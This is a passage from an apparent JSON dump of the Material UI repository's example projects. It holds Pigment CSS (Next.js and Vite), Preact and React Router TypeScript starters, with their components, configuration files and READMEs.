'&::marker': { content: '\"🚀\"' },\n                  }}\n                >\n                  <Title>React Server Components</Title>\n                  <Typography>\n                    Material UI provides a set of layout components that integrate with Pigment CSS\n                    to support React Server Components.\n                  </Typography>\n                </li>\n                <li\n                  sx={{\n                    '&::marker': { content: '\"📦\"' },\n                  }}\n                >\n                  <Title>Emotionless</Title>\n                  <Typography>\n                    Replacing Emotion with Pigment CSS eliminates ~15kB from the final bundle.\n                  </Typography>\n                </li>\n              </Stack>\n            </Grid>\n          </Grid>\n        </Container>\n      </DefaultPropsProvider>\n    </main>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-nextjs-ts/src/components/App.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport { Roboto } from 'next/font/google';\nimport { useColorScheme } from './ColorSchemeProvider';\n\nconst roboto = Roboto({\n  subsets: ['latin'],\n  weight: ['400', '500', '700'],\n  display: 'swap',\n  variable: '--font-roboto',\n});\n\nfunction App({ className, ...other }: React.PropsWithChildren<{ className?: string }>) {\n  const { colorScheme } = useColorScheme();\n  return <body {...other} className={`${roboto.variable} ${colorScheme}`} />;\n}\n\nexport default App;\n"
  },
  {
    "path": "examples/material-ui-pigment-css-nextjs-ts/src/components/ColorSchemeProvider.tsx",
    "content": "'use client';\nimport * as React from 'react';\n\nconst ColorSchemeContext = React.createContext<{\n  colorScheme: string;\n  setColorScheme: React.Dispatch<React.SetStateAction<string>>;\n}>({\n  colorScheme: 'dark',\n  setColorScheme: () => '',\n});\n\nfunction setCookie(name: string, value: string, days: number = 100) {\n  let expires = '';\n  if (days) {\n    const date = new Date();\n    date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);\n    expires = `; expires=${date.toUTCString()}`;\n  }\n  document.cookie = `${name}=${value || ''}${expires}; path=/`;\n}\n\nexport function ColorSchemeProvider({\n  colorScheme: initialColorScheme,\n  children,\n}: React.PropsWithChildren<{ colorScheme: string }>) {\n  const [colorScheme, setColorScheme] = React.useState<string>(initialColorScheme);\n\n  const contextValue = React.useMemo(\n    () => ({ colorScheme, setColorScheme }),\n    [colorScheme, setColorScheme],\n  );\n\n  // Set the colorScheme in localStorage\n  React.useEffect(() => {\n    setCookie('colorScheme', colorScheme);\n    localStorage.setItem('colorScheme', colorScheme);\n  }, [colorScheme]);\n\n  // Handle when localStorage has changed\n  React.useEffect(() => {\n    const handleStorage = (event: StorageEvent) => {\n      const value = event.newValue;\n      if (\n        typeof event.key === 'string' &&\n        event.key === 'colorScheme' &&\n        typeof value === 'string'\n      ) {\n        setColorScheme(value);\n      }\n    };\n    // For syncing color-scheme changes between iframes\n    window.addEventListener('storage', handleStorage);\n    return () => {\n      window.removeEventListener('storage', handleStorage);\n    };\n  }, [setColorScheme]);\n\n  return <ColorSchemeContext.Provider value={contextValue}>{children}</ColorSchemeContext.Provider>;\n}\n\nexport const useColorScheme = () => {\n  return React.useContext(ColorSchemeContext);\n};\n"
  },
  {
    "path": "examples/material-ui-pigment-css-nextjs-ts/src/material-ui-pigment-css.d.ts",
    "content": "import { Theme, SxProps } from '@mui/material/styles';\nimport {} from '@mui/material/themeCssVarsAugmentation';\n\ndeclare module '@mui/material-pigment-css' {\n  interface ThemeArgs {\n    theme: Theme;\n  }\n}\n\ndeclare global {\n  namespace React {\n    interface HTMLAttributes {\n      sx?: SxProps<Theme>;\n    }\n    interface SVGProps {\n      sx?: SxProps<Theme>;\n    }\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-nextjs-ts/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"lib\": [\"dom\", \"dom.iterable\", \"esnext\"],\n    \"allowJs\": true,\n    \"skipLibCheck\": true,\n    \"strict\": true,\n    \"noEmit\": true,\n    \"esModuleInterop\": true,\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"bundler\",\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"jsx\": \"preserve\",\n    \"incremental\": true,\n    \"plugins\": [\n      {\n        \"name\": \"next\"\n      }\n    ],\n    \"paths\": {\n      \"@/*\": [\"./src/*\"]\n    },\n    \"target\": \"ES2017\"\n  },\n  \"include\": [\n    \"next-env.d.ts\",\n    \"**/*.ts\",\n    \"**/*.tsx\",\n    \".next/types/**/*.ts\",\n    \"src/material-ui-pigment-css.d.ts\"\n  ],\n  \"exclude\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/.gitignore",
    "content": "# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\npnpm-debug.log*\nlerna-debug.log*\n\nnode_modules\ndist\ndist-ssr\n*.local\n\n# Editor directories and files\n.vscode/*\n!.vscode/extensions.json\n.idea\n.DS_Store\n*.suo\n*.ntvs*\n*.njsproj\n*.sln\n*.sw?\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/README.md",
    "content": "# Material UI x Pigment CSS - Vite example\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2 material-ui-master/examples/material-ui-pigment-css-vite-ts\ncd material-ui-pigment-css-vite-ts\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-pigment-css-vite-ts)\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-pigment-css-vite-ts)\n\n## The idea behind the example\n\nThis example uses [Vite](https://github.com/vitejs/vite).\nIt includes `@mui/material` and [Pigment CSS](https://github.com/mui/pigment-css) as the style engine.\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <link rel=\"icon\" type=\"image/svg+xml\" href=\"/vite.svg\" />\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <!-- Fonts to support Material Design -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n    />\n    <title>Vite + React + TS</title>\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    <script type=\"module\" src=\"/src/main.tsx\"></script>\n  </body>\n</html>\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/package.json",
    "content": "{\n  \"name\": \"material-ui-pigment-css-vite\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"scripts\": {\n    \"dev\": \"vite\",\n    \"build\": \"tsc -b && vite build\",\n    \"lint\": \"eslint . --ext ts,tsx --report-unused-disable-directives --max-warnings 0\",\n    \"preview\": \"vite preview\"\n  },\n  \"dependencies\": {\n    \"@mui/material\": \"next\",\n    \"@mui/material-pigment-css\": \"next\",\n    \"@pigment-css/react\": \"latest\",\n    \"react\": \"latest\",\n    \"react-dom\": \"latest\",\n    \"react-is\": \"latest\",\n    \"prop-types\": \"latest\",\n    \"hoist-non-react-statics\": \"latest\"\n  },\n  \"devDependencies\": {\n    \"@pigment-css/vite-plugin\": \"latest\",\n    \"@types/react\": \"latest\",\n    \"@types/react-dom\": \"latest\",\n    \"@vitejs/plugin-react\": \"latest\",\n    \"typescript\": \"latest\",\n    \"vite\": \"latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/src/App.tsx",
    "content": "import DefaultPropsProvider from '@mui/material/DefaultPropsProvider';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Container from '@mui/material-pigment-css/Container';\nimport Grid from '@mui/material-pigment-css/Grid';\nimport Stack from '@mui/material-pigment-css/Stack';\nimport Typography from '@mui/material/Typography';\nimport Chip from '@mui/material/Chip';\nimport { styled } from '@mui/material-pigment-css';\n\nconst Title = styled('div')(({ theme }) => ({\n  color: theme.vars.palette.text.primary,\n  font: theme.vars.font.body1,\n  fontSize: '1.125rem',\n  lineHeight: 1.7,\n}));\n\nexport default function Home() {\n  return (\n    <main sx={{ minHeight: '100lvh', display: 'grid', placeItems: 'center' }}>\n      <DefaultPropsProvider\n        value={{\n          MuiChip: {\n            label: 'Available in v6',\n          },\n        }}\n      >\n        <CssBaseline />\n        <Container>\n          <Grid container spacing={{ xs: 2, sm: 3, md: 4 }}>\n            <Grid size={{ xs: 12, md: 6 }} sx={{ pl: 4.5 }}>\n              <Chip\n                sx={(theme) => ({\n                  mb: 2,\n                  fontWeight: 600,\n                  bgcolor: `rgba(${theme.vars.palette.primary.mainChannel} / 0.1)`,\n                  color: 'primary.dark',\n                })}\n              />\n              <Typography\n                variant=\"h1\"\n                sx={{\n                  fontWeight: 500,\n                  fontSize: 'clamp(3rem, 2.354rem + 2.7562vw, 5rem)',\n                  textWrap: 'balance',\n                  letterSpacing: '-0.025em',\n                }}\n              >\n                <span\n                  sx={(theme) => ({\n                    display: 'block',\n                    background: `linear-gradient(145deg, ${\n                      (theme.vars || theme).palette.primary.light\n                    } 5%, ${(theme.vars || theme).palette.primary.dark} 90%)`,\n                    // `Webkit` has to come later\n                    WebkitBackgroundClip: 'text',\n                    WebkitTextFillColor: 'transparent',\n                  })}\n                >\n                  Material UI\n                </span>\n                Pigment CSS\n              </Typography>\n            </Grid>\n            <Grid size={{ xs: 12, md: 6 }}>\n              <Stack\n                component=\"ul\"\n                spacing={3}\n                sx={{\n                  m: 0,\n                  pl: 3,\n                  color: 'text.secondary',\n                  '& li': {\n                    pl: 2,\n                    fontSize: '1.125rem',\n                    fontWeight: 500,\n                    '&::marker': {\n                      color: 'text.primary',\n                    },\n                  },\n                }}\n              >\n                <li\n                  sx={{\n                    '&::marker': { content: '\"⚡️\"' },\n                  }}\n                >\n                  <Title>Build-time CSS Extraction</Title>\n                  <Typography>\n                    Pigment CSS looks through Material UI components used in the project and\n                    extracts the styles into plain CSS.\n                  </Typography>\n                </li>\n                <li\n                  sx={{\n                    '&::marker': { content: '\"🚀\"' },\n                  }}\n                >\n                  <Title>React Server Components</Title>\n                  <Typography>\n                    Material UI provides a set of layout components that integrates with Pigment CSS\n                    to support React Server Components.\n                  </Typography>\n                </li>\n                <li\n                  sx={{\n                    '&::marker': { content: '\"📦\"' },\n                  }}\n                >\n                  <Title>Emotionless</Title>\n                  <Typography>\n                    Replacing Emotion with Pigment CSS eliminates ~15kB from the final bundle.\n                  </Typography>\n                </li>\n              </Stack>\n            </Grid>\n          </Grid>\n        </Container>\n      </DefaultPropsProvider>\n    </main>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/src/main.tsx",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport '@mui/material-pigment-css/styles.css';\nimport App from './App.tsx';\n\nReactDOM.createRoot(document.getElementById('root')!).render(\n  <React.StrictMode>\n    <App />\n  </React.StrictMode>,\n);\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/src/material-ui-pigment-css.d.ts",
    "content": "import { Theme, SxProps } from '@mui/material/styles';\nimport {} from '@mui/material/themeCssVarsAugmentation';\n\ndeclare module '@mui/material-pigment-css' {\n  interface ThemeArgs {\n    theme: Theme;\n  }\n}\n\ndeclare global {\n  namespace React {\n    interface HTMLAttributes {\n      sx?: SxProps<Theme>;\n    }\n    interface SVGProps {\n      sx?: SxProps<Theme>;\n    }\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/src/vite-env.d.ts",
    "content": "/// <reference types=\"vite/client\" />\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/tsconfig.app.json",
    "content": "{\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"tsBuildInfoFile\": \"./node_modules/.tmp/tsconfig.app.tsbuildinfo\",\n    \"target\": \"ES2020\",\n    \"useDefineForClassFields\": true,\n    \"lib\": [\"ES2020\", \"DOM\", \"DOM.Iterable\"],\n    \"module\": \"ESNext\",\n    \"skipLibCheck\": true,\n\n    /* Bundler mode */\n    \"moduleResolution\": \"bundler\",\n    \"allowImportingTsExtensions\": true,\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"moduleDetection\": \"force\",\n    \"noEmit\": true,\n    \"jsx\": \"react-jsx\",\n\n    /* Linting */\n    \"strict\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"noFallthroughCasesInSwitch\": true\n  },\n  \"include\": [\"src\"]\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/tsconfig.json",
    "content": "{\n  \"files\": [],\n  \"references\": [\n    {\n      \"path\": \"./tsconfig.app.json\"\n    },\n    {\n      \"path\": \"./tsconfig.node.json\"\n    }\n  ]\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/tsconfig.node.json",
    "content": "{\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"tsBuildInfoFile\": \"./node_modules/.tmp/tsconfig.node.tsbuildinfo\",\n    \"skipLibCheck\": true,\n    \"module\": \"ESNext\",\n    \"moduleResolution\": \"bundler\",\n    \"allowSyntheticDefaultImports\": true,\n    \"strict\": true,\n    \"noEmit\": true\n  },\n  \"include\": [\"vite.config.ts\"]\n}\n"
  },
  {
    "path": "examples/material-ui-pigment-css-vite-ts/vite.config.ts",
    "content": "import { defineConfig } from 'vite';\nimport react from '@vitejs/plugin-react';\nimport { pigment } from '@pigment-css/vite-plugin';\nimport { createTheme } from '@mui/material/styles';\n\nconst pigmentConfig = {\n  theme: createTheme({\n    cssVariables: true,\n    colorSchemes: { light: true, dark: true },\n  }),\n  transformLibraries: ['@mui/material'],\n};\n\n// https://vite.dev/config/\nexport default defineConfig({\n  plugins: [react(), pigment(pigmentConfig)],\n  optimizeDeps: {\n    include: ['prop-types', 'react-is', 'hoist-non-react-statics'],\n  },\n});\n"
  },
  {
    "path": "examples/material-ui-preact/.gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n/.pnp\n.pnp.js\n\n# testing\n/coverage\n\n# production\n/build\n\n# IDEs and editors\n/.idea\n/.vscode\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n"
  },
  {
    "path": "examples/material-ui-preact/README.md",
    "content": "# Material UI - Preact example\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2  material-ui-master/examples/material-ui-preact\ncd material-ui-preact\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run start\n```\n\n## The idea behind the example\n\nThe project uses Material UI with [Preact](https://github.com/developit/preact), which is a lightweight (3 kB) alternative to React with the same modern API.\n\nThis example uses CRA with `react-app-rewired` for adding webpack aliases for Preact.\n\nIt includes `@mui/material` and its peer dependencies, including [Emotion](https://emotion.sh/docs/introduction), the default style engine in Material UI.\n\n<!-- #host-reference -->\n\nIf you prefer, you can [use styled-components instead](https://next.mui.com/material-ui/integrations/interoperability/#styled-components).\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-preact/config-overrides.js",
    "content": "const { addWebpackAlias, override } = require('customize-cra');\n\nmodule.exports = override(\n  addWebpackAlias({\n    react: 'preact/compat',\n    'react-dom': 'preact/compat',\n  }),\n);\n"
  },
  {
    "path": "examples/material-ui-preact/package.json",
    "content": "{\n  \"name\": \"material-ui-preact\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"dependencies\": {\n    \"@babel/helper-builder-react-jsx\": \"latest\",\n    \"@emotion/react\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/material\": \"next\",\n    \"@testing-library/jest-dom\": \"latest\",\n    \"@testing-library/react\": \"latest\",\n    \"@testing-library/user-event\": \"latest\",\n    \"preact\": \"latest\",\n    \"react-scripts\": \"^5.0.0\"\n  },\n  \"scripts\": {\n    \"start\": \"react-app-rewired start\",\n    \"build\": \"react-app-rewired build\",\n    \"test\": \"react-app-rewired test\",\n    \"eject\": \"react-app-rewired eject\"\n  },\n  \"browserslist\": {\n    \"production\": [\n      \">0.2%\",\n      \"not dead\",\n      \"not op_mini all\"\n    ],\n    \"development\": [\n      \"last 1 chrome version\",\n      \"last 1 firefox version\",\n      \"last 1 safari version\"\n    ]\n  },\n  \"devDependencies\": {\n    \"customize-cra\": \"latest\",\n    \"react-app-rewired\": \"latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-preact/public/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <link rel=\"icon\" href=\"%PUBLIC_URL%/favicon.ico\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n    <title>Preact + Material UI</title>\n    <!-- Fonts to support Material Design -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n    />\n  </head>\n  <body>\n    <noscript>You need to enable JavaScript to run this app.</noscript>\n    <div id=\"root\"></div>\n  </body>\n</html>\n"
  },
  {
    "path": "examples/material-ui-preact/public/manifest.json",
    "content": "{\n  \"short_name\": \"React App\",\n  \"name\": \"Create React App Sample\",\n  \"icons\": [\n    {\n      \"src\": \"favicon.ico\",\n      \"sizes\": \"64x64 32x32 24x24 16x16\",\n      \"type\": \"image/x-icon\"\n    },\n    {\n      \"src\": \"logo192.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"192x192\"\n    },\n    {\n      \"src\": \"logo512.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\"\n    }\n  ],\n  \"start_url\": \".\",\n  \"display\": \"standalone\",\n  \"theme_color\": \"#000000\",\n  \"background_color\": \"#ffffff\"\n}\n"
  },
  {
    "path": "examples/material-ui-preact/src/App.js",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport ProTip from './ProTip';\nimport Copyright from './Copyright';\n\nexport default function App() {\n  return (\n    <Container maxWidth=\"sm\">\n      <Box sx={{ my: 4 }}>\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI Preact example\n        </Typography>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-preact/src/Copyright.js",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport MuiLink from '@mui/material/Link';\n\nexport default function Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <MuiLink color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </MuiLink>{' '}\n      {new Date().getFullYear()}.\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-preact/src/ProTip.js",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\n\nfunction LightBulbIcon(props) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-preact/src/index.js",
    "content": "import * as React from 'react';\nimport * as ReactDOMClient from 'react-dom/client';\nimport App from './App';\n\nconst root = ReactDOMClient.createRoot(document.getElementById('root'));\n\nroot.render(\n  <React.StrictMode>\n    <App />\n  </React.StrictMode>,\n);\n"
  },
  {
    "path": "examples/material-ui-preact/src/setupTests.js",
    "content": "// jest-dom adds custom jest matchers for asserting on DOM nodes.\n// allows you to do things like:\n// expect(element).toHaveTextContent(/react/i)\n// learn more: https://github.com/testing-library/jest-dom\nimport '@testing-library/jest-dom/extend-expect';\n"
  },
  {
    "path": "examples/material-ui-preact/src/theme.js",
    "content": "import { createTheme } from '@mui/material/styles';\nimport { red } from '@mui/material/colors';\n\n// Create a theme instance.\nconst theme = createTheme({\n  cssVariables: true,\n  palette: {\n    primary: {\n      main: '#556cd6',\n    },\n    secondary: {\n      main: '#19857b',\n    },\n    error: {\n      main: red.A400,\n    },\n  },\n});\n\nexport default theme;\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/.gitignore",
    "content": ".DS_Store\n/node_modules/\n\n# React Router\n/.react-router/\n/build/\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/README.md",
    "content": "# Material UI - React Router example in TypeScript\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2 material-ui-master/examples/material-ui-react-router-ts\ncd material-ui-react-router-ts\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-react-router-ts)\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-react-router-ts)\n\n## The idea behind the example\n\n<!-- #host-reference -->\n\nThis example demonstrates how you can use Material UI with [React Router](https://reactrouter.com/) in [TypeScript](https://github.com/Microsoft/TypeScript).\nIt includes `@mui/material` and its peer dependencies, including [Emotion](https://emotion.sh/docs/introduction), the default style engine in Material UI.\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/app/components/Copyright.tsx",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport MuiLink from '@mui/material/Link';\n\nexport default function Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <MuiLink color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </MuiLink>{' '}\n      {new Date().getFullYear()}.\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/app/components/ProTip.tsx",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon, { type SvgIconProps } from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\n\nfunction LightBulbIcon(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/app/createCache.ts",
    "content": "import createCache from '@emotion/cache';\n\nexport default function createEmotionCache(options?: Parameters<typeof createCache>[0]) {\n  const emotionCache = createCache({ key: 'mui', ...options });\n  const prevInsert = emotionCache.insert;\n  emotionCache.insert = (...args) => {\n    // ignore styles that contain layer order (`@layer ...` without `{`)\n    if (!args[1].styles.match(/^@layer\\s+[^{]*$/)) {\n      args[1].styles = `@layer mui {${args[1].styles}}`;\n    }\n    return prevInsert(...args);\n  };\n\n  return emotionCache;\n}\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/app/entry.client.tsx",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport { HydratedRouter } from 'react-router/dom';\n\nReact.startTransition(() => {\n  ReactDOM.hydrateRoot(\n    document,\n    <React.StrictMode>\n      <HydratedRouter />\n    </React.StrictMode>,\n  );\n});\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/app/entry.server.tsx",
    "content": "import { Transform } from 'node:stream';\n\nimport * as React from 'react';\nimport * as ReactDOMServer from 'react-dom/server';\nimport type { EntryContext } from 'react-router';\nimport { ServerRouter } from 'react-router';\nimport { createReadableStreamFromReadable } from '@react-router/node';\nimport { isbot } from 'isbot';\nimport createEmotionServer from '@emotion/server/create-instance';\nimport { CacheProvider } from '@emotion/react';\nimport createEmotionCache from './createCache';\n\nexport const streamTimeout = 5_000;\n\nexport default function handleRequest(\n  request: Request,\n  responseStatusCode: number,\n  responseHeaders: Headers,\n  routerContext: EntryContext,\n) {\n  const cache = createEmotionCache();\n  const { extractCriticalToChunks, constructStyleTagsFromChunks } = createEmotionServer(cache);\n\n  return new Promise((resolve, reject) => {\n    let shellRendered = false;\n    const userAgent = request.headers.get('user-agent');\n\n    // Ensure requests from bots and SPA Mode renders wait for all content to load before responding\n    // https://react.dev/reference/react-dom/server/renderToPipeableStream#waiting-for-all-content-to-load-for-crawlers-and-static-generation\n    const readyOption: keyof ReactDOMServer.RenderToPipeableStreamOptions =\n      (userAgent && isbot(userAgent)) || routerContext.isSpaMode ? 'onAllReady' : 'onShellReady';\n\n    const { pipe, abort } = ReactDOMServer.renderToPipeableStream(\n      <CacheProvider value={cache}>\n        <ServerRouter context={routerContext} url={request.url} />\n      </CacheProvider>,\n      {\n        [readyOption]() {\n          shellRendered = true;\n\n          // Collect the HTML chunks\n          const chunks: Buffer[] = [];\n\n          // Create transform stream to collect HTML and inject styles\n          const transformStream = new Transform({\n            transform(chunk, _encoding, callback) {\n              // Collect chunks, don't pass them through yet\n              chunks.push(chunk);\n              callback();\n            },\n            flush(callback) {\n              // Combine all chunks into HTML string\n              const html = Buffer.concat(chunks).toString();\n\n              // Extract emotion styles from the collected HTML\n              const styles = constructStyleTagsFromChunks(extractCriticalToChunks(html));\n\n              if (styles) {\n                const injectedHtml = html.replace('</head>', `${styles}</head>`);\n                this.push(injectedHtml);\n              } else {\n                this.push(html);\n              }\n\n              callback();\n            },\n          });\n\n          const stream = createReadableStreamFromReadable(transformStream);\n\n          responseHeaders.set('Content-Type', 'text/html');\n\n          resolve(\n            new Response(stream, {\n              headers: responseHeaders,\n              status: responseStatusCode,\n            }),\n          );\n\n          pipe(transformStream);\n        },\n        onShellError(error: unknown) {\n          reject(error);\n        },\n        onError(error: unknown) {\n          responseStatusCode = 500;\n          // Log streaming rendering errors from inside the shell.  Don't log\n          // errors encountered during initial shell rendering since they'll\n          // reject and get logged in handleDocumentRequest.\n          if (shellRendered) {\n            console.error(error);\n          }\n        },\n      },\n    );\n\n    // Abort the rendering stream after the `streamTimeout` so it has time to\n    // flush down the rejected boundaries\n    setTimeout(abort, streamTimeout + 1000);\n  });\n}\n"
  },
  {
    "path": "examples/material-ui-react-router-ts/app/root.tsx",
